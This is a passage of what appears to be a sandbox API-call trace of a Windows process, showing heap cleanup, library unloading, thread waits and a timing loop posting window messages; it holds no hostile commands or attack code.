[0250.002] RtlDllShutdownInProgress () returned 0x0 [0250.002] RtlDllShutdownInProgress () returned 0x0 [0250.002] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4350 | out: hHeap=0xfb0000) returned 1 [0250.002] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4610 | out: hHeap=0xfb0000) returned 1 [0250.002] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4330 | out: hHeap=0xfb0000) returned 1 [0250.002] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc45d0 | out: hHeap=0xfb0000) returned 1 [0250.002] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc46b0 | out: hHeap=0xfb0000) returned 1 [0250.002] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc44b0 | out: hHeap=0xfb0000) returned 1 [0250.002] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc45b0 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4410 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc27a0 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc45f0 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4470 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4370 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc42d0 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4570 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4530 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4510 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4430 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc24a0 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4310 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4590 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4a70 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4870 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4850 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc49f0 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc49b0 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc47d0 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc26b0 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc48d0 | out: hHeap=0xfb0000) returned 1 [0250.003] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc47f0 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc46f0 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc49d0 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4830 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc47b0 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4710 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4a50 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc2530 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4990 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc46d0 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4950 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4790 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4930 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4750 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc48b0 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4a30 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc2800 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4730 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4970 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4a10 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4770 | out: hHeap=0xfb0000) returned 1 [0250.004] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4910 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4890 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4810 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc48f0 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc27d0 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4060 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4040 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc3f60 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc3f40 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4020 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4120 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc40e0 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc3f20 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc25f0 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4000 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc3f00 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc3fe0 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4260 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4240 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc40c0 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc3fa0 | out: hHeap=0xfb0000) returned 1 [0250.005] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc41c0 | out: hHeap=0xfb0000) returned 1 [0250.006] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc2560 | out: hHeap=0xfb0000) returned 1 [0250.006] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc26e0 | out: hHeap=0xfb0000) returned 1 [0250.006] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4100 | out: hHeap=0xfb0000) returned 1 [0250.006] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4140 | out: hHeap=0xfb0000) returned 1 [0250.006] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4280 | out: hHeap=0xfb0000) returned 1 [0250.006] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc40a0 | out: hHeap=0xfb0000) returned 1 [0250.006] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc41e0 | out: hHeap=0xfb0000) returned 1 [0250.006] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4160 | out: hHeap=0xfb0000) returned 1 [0250.006] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc3ee0 | out: hHeap=0xfb0000) returned 1 [0250.006] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc3fc0 | out: hHeap=0xfb0000) returned 1 [0250.006] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc25c0 | out: hHeap=0xfb0000) returned 1 [0250.006] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc3ec0 | out: hHeap=0xfb0000) returned 1 [0250.006] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4200 | out: hHeap=0xfb0000) returned 1 [0250.006] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfbce68 | out: hHeap=0xfb0000) returned 1 [0250.006] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc41a0 | out: hHeap=0xfb0000) returned 1 [0250.006] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4220 | out: hHeap=0xfb0000) returned 1 [0250.006] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfbcd18 | out: hHeap=0xfb0000) returned 1 [0250.007] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4180 | out: hHeap=0xfb0000) returned 1 [0250.007] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4080 | out: hHeap=0xfb0000) returned 1 [0250.007] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfbce20 | out: hHeap=0xfb0000) returned 1 [0250.007] FreeLibrary (hLibModule=0x74100000) returned 1 [0250.007] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc4d28 | out: hHeap=0xfb0000) returned 1 [0250.007] FreeLibrary (hLibModule=0x71f20000) returned 1 [0250.027] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d76548 | out: hHeap=0x4d60000) returned 1 [0250.027] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73df8 | out: hHeap=0x4d60000) returned 1 [0250.027] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73d48 | out: hHeap=0x4d60000) returned 1 [0250.027] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73cb0 | out: hHeap=0x4d60000) returned 1 [0250.027] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73c10 | out: hHeap=0x4d60000) returned 1 [0250.027] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73b70 | out: hHeap=0x4d60000) returned 1 [0250.027] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73ad8 | out: hHeap=0x4d60000) returned 1 [0250.027] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73a40 | out: hHeap=0x4d60000) returned 1 [0250.027] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73998 | out: hHeap=0x4d60000) returned 1 [0250.027] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73900 | out: hHeap=0x4d60000) returned 1 [0250.027] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73860 | out: hHeap=0x4d60000) returned 1 [0250.027] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d737c0 | out: hHeap=0x4d60000) returned 1 [0250.027] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73720 | out: hHeap=0x4d60000) returned 1 [0250.027] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73688 | out: hHeap=0x4d60000) returned 1 [0250.027] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73478 | out: hHeap=0x4d60000) returned 1 [0250.027] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73270 | out: hHeap=0x4d60000) returned 1 [0250.027] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73048 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d72f80 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d72e78 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d72c38 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d72ab0 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d6eea0 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d6edb0 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d6ed00 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d6ec58 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d6eba0 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d6e918 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d6e680 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d765f0 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73518 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73318 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73118 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d72d18 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d72960 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d6e7b0 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d6e4b8 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73eb0 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d6e438 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d6d2f0 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d6c1a8 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d70048 | out: hHeap=0x4d60000) returned 1 [0250.028] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d73f40 | out: hHeap=0x4d60000) returned 1 [0250.028] VirtualFree (lpAddress=0x6830000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0250.029] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d6ef60 | out: hHeap=0x4d60000) returned 1 [0250.029] VirtualFree (lpAddress=0x4c00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0250.030] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d6e600 | out: hHeap=0x4d60000) returned 1 [0250.030] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d605a8 | out: hHeap=0x4d60000) returned 1 [0250.030] EtwEventUnregister (RegHandle=0xfc0128) returned 0x0 [0250.030] EtwEventUnregister (RegHandle=0xfbfa68) returned 0x0 [0250.030] HeapDestroy (hHeap=0x4d60000) returned 1 [0250.031] free (_Block=0xd921f0) [0250.473] exit (_Code=0) Thread: id = 46 os_tid = 0xce0 Thread: id = 47 os_tid = 0x9fc [0222.315] GetCurrentThreadId () returned 0x9fc [0222.316] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x72ca4fe0, phModule=0x4ebfae4 | out: phModule=0x4ebfae4*=0x726c0000) returned 1 [0222.316] EtwEventActivityIdControl (in: ControlCode=0x5, ActivityId=0x4ebfae8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x4ebfae8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0222.316] SetEvent (hEvent=0x270) returned 1 [0222.317] WaitForSingleObject (hHandle=0x274, dwMilliseconds=0xffffffff) returned 0x0 [0249.502] SetEvent (hEvent=0x270) returned 1 [0249.502] FreeLibraryAndExitThread (hLibModule=0x726c0000, dwExitCode=0x0) [0249.502] GetCurrentThreadId () returned 0x9fc Thread: id = 48 os_tid = 0xf94 [0222.321] GetCurrentThreadId () returned 0xf94 [0222.321] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x72ca4fe0, phModule=0x502fad4 | out: phModule=0x502fad4*=0x726c0000) returned 1 [0222.321] EtwEventActivityIdControl (in: ControlCode=0x5, ActivityId=0x502fad8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x502fad8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0222.321] SetEvent (hEvent=0x27c) returned 1 [0222.322] WaitForSingleObject (hHandle=0x280, dwMilliseconds=0xffffffff) returned 0x0 [0249.503] SetEvent (hEvent=0x27c) returned 1 [0249.503] FreeLibraryAndExitThread (hLibModule=0x726c0000, dwExitCode=0x0) [0249.503] GetCurrentThreadId () returned 0xf94 Thread: id = 49 os_tid = 0x84 [0222.323] GetCurrentThreadId () returned 0x84 [0222.323] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x72ca3990, phModule=0x50bf81c | out: phModule=0x50bf81c*=0x726c0000) returned 1 [0222.328] EtwEventActivityIdControl (in: ControlCode=0x5, ActivityId=0x50bf82c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x50bf82c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0222.328] SetEvent (hEvent=0x260) returned 1 [0222.329] GetCurrentThread () returned 0xfffffffe [0222.329] SetThreadPriority (hThread=0xfffffffe, nPriority=-1) returned 1 [0224.679] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x50bf824*=0x26c, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0249.500] SetEvent (hEvent=0x260) returned 1 [0249.500] FreeLibraryAndExitThread (hLibModule=0x726c0000, dwExitCode=0x0) [0249.501] GetCurrentThreadId () returned 0x84 Thread: id = 50 os_tid = 0x86c [0224.430] GetCurrentThreadId () returned 0x86c Thread: id = 51 os_tid = 0xee8 [0224.431] GetCurrentThreadId () returned 0xee8 [0224.431] GetCurrentThread () returned 0xfffffffe [0224.431] SetThreadPriority (hThread=0xfffffffe, nPriority=15) returned 1 [0224.432] WTSGetActiveConsoleSessionId () returned 0x1 [0224.432] LdrResolveDelayLoadedAPI () returned 0x722d0b40 [0224.782] CreateDXGIFactory () returned 0x0 [0225.155] EnumDisplaySettingsW (in: lpszDeviceName=0x0, iModeNum=0xffffffff, lpDevMode=0x533f878 | out: lpDevMode=0x533f878) returned 1 [0225.155] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22845801553) returned 1 [0225.168] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22847078555) returned 1 [0225.168] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0225.168] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xd9e3001, lParam=0x3d09) returned 1 [0225.168] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22847105190) returned 1 [0225.184] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22848637044) returned 1 [0225.184] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0225.184] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xd9e6ce2, lParam=0x3d09) returned 1 [0225.184] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22848664283) returned 1 [0225.516] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22881838682) returned 1 [0225.516] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0225.516] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xda37dd2, lParam=0x3d09) returned 1 [0225.516] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22881884222) returned 1 [0225.527] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22883010011) returned 1 [0225.528] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0225.528] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xda3ab94, lParam=0x3d09) returned 1 [0225.528] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22883043049) returned 1 [0225.582] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22888426709) returned 1 [0225.582] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0225.582] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xda47f2b, lParam=0x3d09) returned 1 [0225.582] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22888460499) returned 1 [0225.582] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22888485314) returned 1 [0225.582] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0225.582] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xda48175, lParam=0x3d09) returned 1 [0225.582] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22888515123) returned 1 [0225.606] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22890829085) returned 1 [0225.606] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0225.606] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xda4dd02, lParam=0x3d09) returned 1 [0225.606] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22890861430) returned 1 [0225.637] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22893950482) returned 1 [0225.637] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0225.637] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xda556f0, lParam=0x3d09) returned 1 [0225.637] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22893983145) returned 1 [0225.652] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22895515499) returned 1 [0225.653] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0225.653] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xda59412, lParam=0x3d09) returned 1 [0225.653] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22895546908) returned 1 [0225.668] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22897071609) returned 1 [0225.668] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0225.668] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xda5d0dc, lParam=0x3d09) returned 1 [0225.668] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22897100783) returned 1 [0225.699] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22900198026) returned 1 [0225.699] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0225.699] PostMessageW (hWnd=0x60044, Msg=0x401, wParam=0xda64afc, lParam=0x3d09) returned 1 [0225.700] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22900223685) returned 1 [0225.715] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22901786843) returned 1 [0225.715] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22901799115) returned 1 [0225.746] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22904891798) returned 1 [0225.746] 